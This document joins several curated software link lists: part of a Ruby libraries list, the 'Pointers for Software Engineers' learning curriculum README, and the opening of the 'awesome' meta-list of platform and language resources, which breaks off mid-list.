validate e-mail addresses against RFC 2822 and RFC 3696 with this Ruby on Rails plugin and gem. ### Scheduling (info collected from [Stack Overflow](http://stackoverflow.com/questions/24745809/massive-scheduling-in-ruby)) - ★ [rufus-scheduler](https://github.com/jmettraux/rufus-scheduler) — an in-process, in-memory scheduler with no persistence, accepting at, in, cron and every jobs. - [sidekiq-cron](https://github.com/ondrejbartas/sidekiq-cron) — scheduler based on rufus-scheduler and [Sidekiq](http://sidekiq.org) ([Redis](http://redis.io) based message queue) for persistence. Inherits web UI from Sidekiq. - [sidekiq-scheduler](https://github.com/Moove-it/sidekiq-scheduler) — one more job scheduler based on rufus-scheduler and Sidekiq. - [resque-scheduler](https://github.com/resque/resque-scheduler) — rufus-scheduler + Resque. - [Clockwork](https://github.com/tomykaira/clockwork) — a cron replacement. It runs as a lightweight, long-running Ruby process which sits alongside your web processes (Mongrel/Thin) and your worker processes (DJ/Resque/Minion/Stalker) to schedule recurring work at particular times or dates. Here is a [blog post](http://adam.herokuapp.com/past/2010/4/13/rethinking_cron/) with more details. - [Whenever](https://github.com/javan/whenever) — a Ruby wrapper for crond, with a clear syntax (each job is a separate process). ### SDKs and API Wrappers - [AWS SDK](http://aws.amazon.com/sdkforruby/) — Amazon Web Services API for Ruby. - [Dropbox Core API](https://www.dropbox.com/developers/core/start/ruby) for Ruby. - [Fog](https://fog.io) — cloud services library, top to bottom: collections provide a simplified interface, making clouds easier to work with and switch between; requests allow power users to get the most out of the features of each individual cloud; mocks make testing and integrating a breeze. - [Yt](https://github.com/Fullscreen/yt) — YouTube API Ruby client. - [Square SDK](https://github.com/square/square-ruby-sdk) - The Ruby SDK for Square APIs. ### Search - [Ransack](https://github.com/activerecord-hackery/ransack) — enables the creation of both simple and advanced search forms against your application's models. ### Security - [Brakeman](https://github.com/presidentbeef/brakeman) — a static analysis security vulnerability scanner for Ruby on Rails applications. - [Rack::Attack](https://github.com/rack/rack-attack) – Rack middleware for blocking & throttling. - [bundler-audit](https://github.com/rubysec/bundler-audit) – Patch-level verification for Bundler. - [Codesake::Dawn](https://github.com/codesake/codesake-dawn) - Codesake::Dawn is a security source code scanner for ruby powered code. It is especially designed for web applications, but it works also with general purpose ruby scripts. Codesake::Dawn supports all major MVC frameworks like ruby on rails, Padrino and Sinatra; it provides more than 170 security checks with their own mitigation suggestion. ### Serialization Text: - [JSON](https://github.com/flori/json) — includes pure Ruby and C implementation for JSON. - [JSON::Stream](https://github.com/dgraham/json-stream) — a streaming JSON parser that generates SAX-like events. - [YAJL](https://github.com/brianmario/yajl-ruby) — a streaming JSON parsing and encoding library for Ruby (C bindings to YAJL). - [OJ](https://github.com/ohler55/oj) — Optimized JSON, as the name implies, was written to provide speed optimized JSON handling. So far it has achieved that, and is about 2 times faster than any other Ruby JSON parser, and 3 or more times faster at serializing JSON. - [TOML](https://github.com/jm/toml) — a sane configuration format [from @mojombo](https://github.com/toml-lang/toml). Binary: - [BSON](https://github.com/mongodb/bson-ruby) — Ruby implementation of the BSON Specification (2.0.0+), http://bsonspec.org - [MessagePack](https://github.com/msgpack/msgpack-ruby) — an efficient binary serialization format. It lets you exchange data among multiple languages like JSON but it's faster and smaller. For example, small integers (like flags or error code) are encoded into a single byte, and typical short strings only require an extra byte in addition to the strings themselves. See http://msgpack.org - [Protobuf](https://github.com/localshred/protobuf) — Ruby implementation for Protocol Buffers. ### Syntax Highlighters - [Rouge](https://github.com/jneen/rouge) — a pure-ruby code highlighter that is compatible with pygments. - [pygments.rb](https://github.com/tmm1/pygments.rb) — a Ruby wrapper for the Python [pygments](http://pygments.org) syntax highlighter. ### Template engines - [Mustache](https://github.com/defunkt/mustache) — logic-less Ruby templates. A framework-agnostic way to render logic-free views. - [HAML](http://haml.info/) — a very compact markup language, that accelerates and simplifies template creation down to veritable haiku. - [Slim](https://github.com/slim-template/slim) – a templating language that reduce the syntax to the essential parts without becoming cryptic. - [Tilt](https://github.com/rtomayko/tilt) — generic interface to multiple Ruby template engines. ### Testing - [RSpec](https://github.com/rspec/rspec) — RSpec meta-gem that depends on the other components. - [rspec-rails](https://github.com/rspec/rspec-rails) — Rails integration for RSpec. - [RSpec::Expectations](https://github.com/rspec/rspec-expectations) — a simple, readable API to express expected outcomes of a code example. - [Cucumber](https://github.com/cucumber/cucumber) — a tool for running automated tests written in plain language. - [shoulda](https://github.com/thoughtbot/shoulda) - [factory_bot](https://github.com/thoughtbot/factory_bot) — a fixtures replacement with a straightforward definition syntax, support for multiple build strategies (saved instances, unsaved instances, attribute hashes, and stubbed objects), and support for multiple factories for the same class, including factory inheritance. - [factory_bot_rails](https://github.com/thoughtbot/factory_bot_rails) — Rails integration for `factory_bot`. - [Capybara](https://github.com/jnicklas/capybara) — a tool helping you test web applications by simulating how a real user would interact with your app. It is agnostic about the driver running your tests and comes with Rack::Test and Selenium support built in. WebKit is supported through an external gem. - [capybara-webkit](https://github.com/thoughtbot/capybara-webkit) A Capybara driver for headless WebKit so you can test JavaScript web apps. - [Formulaic](https://github.com/thoughtbot/formulaic) — simplify form filling with Capybara. - [Mocha](https://github.com/freerange/mocha) — a Ruby library for mocking and stubbing. - [Spring](https://github.com/rails/spring) — Rails application preloader to speeds up development by keeping your application running in the background so you don't need to boot it every time you run a test, rake task or migration. - [Faker](https://github.com/stympy/faker) — a library for generating fake data such as names, addresses, and phone numbers. ### Web Frameworks - [Ruby on Rails](http://rubyonrails.org) — an open source full-stack framework web application framework. - [Sinatra](http://sinatrarb.com) — a DSL for quickly creating web applications in Ruby with minimal effort. - [Padrino](http://padrinorb.com) — a Ruby framework built upon the Sinatra web library, created to make it fun and easy to code more advanced web applications while still adhering to the spirit that makes Sinatra great! - ★ [Cuba](https://github.com/soveran/cuba) — a microframework for web development originally inspired by [Rum](https://github.com/chneukirchen/rum), a tiny but powerful mapper for Rack applications. It integrates many templates via Tilt, and testing via Cutest and Capybara. - [Hanami](https://github.com/hanami/hanami) — a complete, modern web framework. - [Roda](http://roda.jeremyevans.net) — a new ruby web framework, allowing for fast and DRY code using a routing tree. Find out [why you should use it](http://roda.jeremyevans.net/why.html). See also: - [Benchmark results](http://www.madebymarket.com/blog/dev/ruby-web-benchmark-report.html) for different Ruby, web framework and app server combinations (actual on July 2014).

# Pointers for Software Engineers [](https://travis-ci.org/vicoyeh/pointers-for-software-engineers) _A curated list of topics to start learning software engineering_ Pointers for Software Engineers is a complete open-source computer science curriculum, designed to cover the fundamentals and practical topics of software engineering most relevant to the industry today. Think of it as an alternative or supplement to college or bootcamp education. It aims to serve as a guidebook for beginners planning to make a career transition into software engineering, computer science students looking to expand their practical knowledge, and experienced engineers curious to seek references for other subject matters. Each topic in this curriculum includes only a single reference for readers to gain familiarity and understanding in a short period of time. Tutorials with clear content structure and hands-on examples are selected over other references. Some would say it is taking a breadth-first search approach to computer science learning. This curriculum is divided into four major sections: fundamentals, advanced, tracks, and subjects. Fundamentals cover the core part of computer science and are often required as the lower-division courses in universities. Advanced goes more in depth on various computer science subjects and are usually topics discussed in upper-vision university electives. Tracks outline the most common software engineering roles and provide relevant topics for introductory understanding. Subjects offer content for specialization fields researched in corporate research labs and startup initiatives. If you are just starting, it is recommended to go through the fundamentals in order, then pick a subset of advanced topics to read at will. For the curious ones, use tracks and subjects as references when choosing career options that most interest you. ## Table of Contents 1. Fundamentals - CS 101 - Data Structures & Algorithms - Operating Systems - Shell, Git, editors, and more 2. Advanced - Web Applications - Databases - Programming Languages - Compilers & Interpreters - Networking - Security - Miscellaneous 3. Tracks - Systems Engineering - Product Engineering - Machine Learning & Data Engineering - Security Engineering - Game Engineering - QA Engineering 4. Subjects - Artificial Intelligence - Blockchain - Bioinformatics - Cybersecurity - Human-Computer Interaction - Theory ## 1. Fundamentals ### CS 101 - Course: https://www.edx.org/course/cs50s-introduction-to-computer-science - Python: https://www.codecademy.com/learn/learn-python-3 ### Data Structures & Algorithms - Course: https://www.coursera.org/learn/algorithms-part1 - Book: https://livebook.manning.com/book/grokking-algorithms ### Operating Systems - Course: https://www.udacity.com/course/introduction-to-operating-systems--ud923 - Book: http://pages.cs.wisc.edu/~remzi/OSTEP ### Shell, Git, editors, and more - Course: https://missing.csail.mit.edu ## 2. Advanced ### Web Applications - HTML & CSS: http://learn.shayhowe.com/html-css - jQuery: http://jqfundamentals.com - Frontend development: https://www.freecodecamp.org/news/from-zero-to-front-end-hero-part-1-7d4f7f0bff02 - Backend development: http://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world - Design: https://medium.com/hh-design/design-resources-5071be5f2e43 ### Databases - SQL: https://www.khanacademy.org/computing/computer-programming/sql/sql-basics/v/welcome-to-sql - SQL practice: https://pgexercises.com - NoSQL: https://www.openmymind.net/mongodb.pdf - Database systems: http://www.redbook.io ### Programming Languages - JavaScript: http://speakingjs.com/es5/index.html - Python: http://pymbook.readthedocs.io - Go: https://gobyexample.com - C++: https://www.learncpp.com - Lisp: http://www.gigamonkeys.com/book - Ruby: http://rubylearning.com/satishtalim/tutorial.html - Java: https://leanpub.com/aprimeronjava/read - Scala: http://twitter.github.io/scala_school - Rust: https://doc.rust-lang.org/book - PHP: https://phptherightway.com - Haskell: http://learnyouahaskell.com - Clojure: http://www.braveclojure.com/clojure-for-the-brave-and-true ### Compilers & Interpreters - Compilers: https://www.amazon.co.uk/Compilers-Principles-Techniques-Alfred-Aho/dp/0201100886 - Interpreters: http://craftinginterpreters.com/contents.html ### Networking - Network programming: http://beej.us/guide/bgnet/html ### Security - Cryptography: https://www.crypto101.io/ - Network security: https://training.apnic.net/wp-content/uploads/sites/2/2016/12/TSEC01.pdf ### Miscellaneous - Interview preparation: https://leetcode.com - Design patterns: https://sourcemaking.com/design_patterns - Linux: https://linuxjourney.com - Bash: http://www.tldp.org/LDP/Bash-Beginners-Guide/html - Markdown: https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet - LaTex: https://www.latex-tutorial.com/tutorials - Algorithms: http://mimoza.marmara.edu.tr/~msakalli/cse706_12/SkienaTheAlgorithmDesignManual.pdf - Competitive programming: http://www.stanford.edu/class/cs97si - Mathematical programming: https://projecteuler.net ## 3. Tracks ### Systems Engineering - System design: https://github.com/donnemartin/system-design-primer - Site reliability: https://landing.google.com/sre/sre-book/toc/index.html - Data-intensive systems: https://www.amazon.co.uk/Designing-Data-Intensive-Applications-Reliable-Maintainable/dp/1449373321 - Microservices: https://microservices.io - Distributed systems: https://github.com/aphyr/distsys-class - AWS: https://adayinthelifeof.nl//2020/05/20/aws.html ### Product Engineering - React: https://reactjs.org/tutorial/tutorial.html - React Native: https://facebook.github.io/react-native/docs/tutorial.html - API design: https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api - iOS: https://itunes.apple.com/gb/course/developing-ios-11-apps-with-swift/id1309275316 - Android: https://www.udacity.com/course/developing-android-apps--ud853 - Ruby on Rails: https://www.railstutorial.org/book/beginning - Node: https://www.airpair.com/javascript/node-js-tutorial ### Machine Learning & Data Engineering - Machine learning: https://www.coursera.org/learn/machine-learning - Data mining: http://guidetodatamining.com - Data visualization: http://alignedleft.com/tutorials/d3 - TensorFlow: https://www.tensorflow.org/tutorials - PyTorch: https://pytorch.org/tutorials ### Security Engineering - Security engineering: https://www.cl.cam.ac.uk/~rja14/book.html - Security checklist: https://www.sqreen.com/checklists/saas-cto-security-checklist ### Game Engineering - Game programming: http://www-cs-students.stanford.edu/~amitp/gameprog.html - Game design: http://dl.booktolearn.com/ebooks2/computer/gamedevelopment/9781449337933_designing_games_71f6.pdf ### QA Engineering - Test design: http://dahlan.unimal.ac.id/files/ebooks/2004%20A%20Practitioner's%20Guide%20to%20Software%20Test%20Design_Good.pdf - Refactoring: http://silab.fon.bg.ac.rs/wp-content/uploads/2016/10/Refactoring-Improving-the-Design-of-Existing-Code-Addison-Wesley-Professional-1999.pdf?lang=latxzf ## 4. Subjects ### Artificial Intelligence - Neural networks and deep learning: http://neuralnetworksanddeeplearning.com/index.html - Reinforcement learning: https://lilianweng.github.io/lil-log/2018/02/19/a-long-peek-into-reinforcement-learning.html - OpenCV: https://www.pyimagesearch.com/2018/07/19/opencv-tutorial-a-guide-to-learn-opencv ### Blockchain - Bitcoin: https://bitcoin.org/bitcoin.pdf - Crypto: https://a16z.com/2018/02/10/crypto-readings-resources ### Bioinformatics - Computational biology: https://open.oregonstate.education/computationalbiology ### Cybersecurity - Digital defense: https://books.google.co.uk/books?id=UIvDCgAAQBAJ&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false ### Human-Computer Interaction - User interface: https://www.amazon.com/gp/product/0321537351/ref=as_li_ss_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=0321537351&linkCode=as2&tag=roblov-20 ### Theory - Academic paper review: https://blog.acolyer.org - Corporate research: https://research.google/research-areas ## Appendix **Why is a reference chosen over the others for a topic?** References are selected using the following order of criteria: 1. Free and available online 2. Primers over textbooks 3. Learning by examples 4. Content coverage on practical applications **How do I contribute?** _Pointers for Software Engineers_ is meant to be an open-source curriculum under continuous updates by the community. All contributions are welcome by simply creating a pull request for review. **May I modify or distribute this project?** This project is released under MIT License. See [here](https://github.com/vicoyeh/Pointers-for-Software-Engineers/blob/master/LICENSE) for more information.

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PDF generation, e-signature and embeddable no-code webforms. <br> The easiest way to build paperwork automation into your product.} </div> </a> <br> <br> </p> <hr> <br> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://sindresorhus.com/apps">apps</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/inputsh/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [AppImage](https://github.com/AppImage/awesome-appimage#readme) - Package apps in a single file that works on various mainstream Linux distributions. - macOS - Operating system for Apple's Mac computers. - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. - [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s. - [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible. - [Integration](https://github.com/stn1slv/awesome-integration#readme) - Linking together different IT systems (components) to functionally cooperate as a whole. - [Node-RED](https://github.com/naimo84/awesome-nodered#readme) - A programming tool for wiring together hardware devices, APIs, and online services. - [Low Code](https://github.com/zenitysec/awesome-low-code#readme) - Allowing business professionals to address their needs on their own with little to no coding skills. - [Capacitor](https://github.com/riderx/awesome-capacitor#readme) - Cross-platform open source runtime for building Web Native apps. - [ArcGIS Developer](https://github.com/Esri/awesome-arcgis-developer#readme) - Mapping and location analysis platform for developers. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/inputsh/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics. - [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme) - [D](https://github.com/dlang-community/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. - [Zig](https://github.com/catdevnull/awesome-zig#readme) - General-purpose programming language and toolchain for maintaining robust, optimal, and reusable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - JavaScript library for building user interfaces. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - Lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - 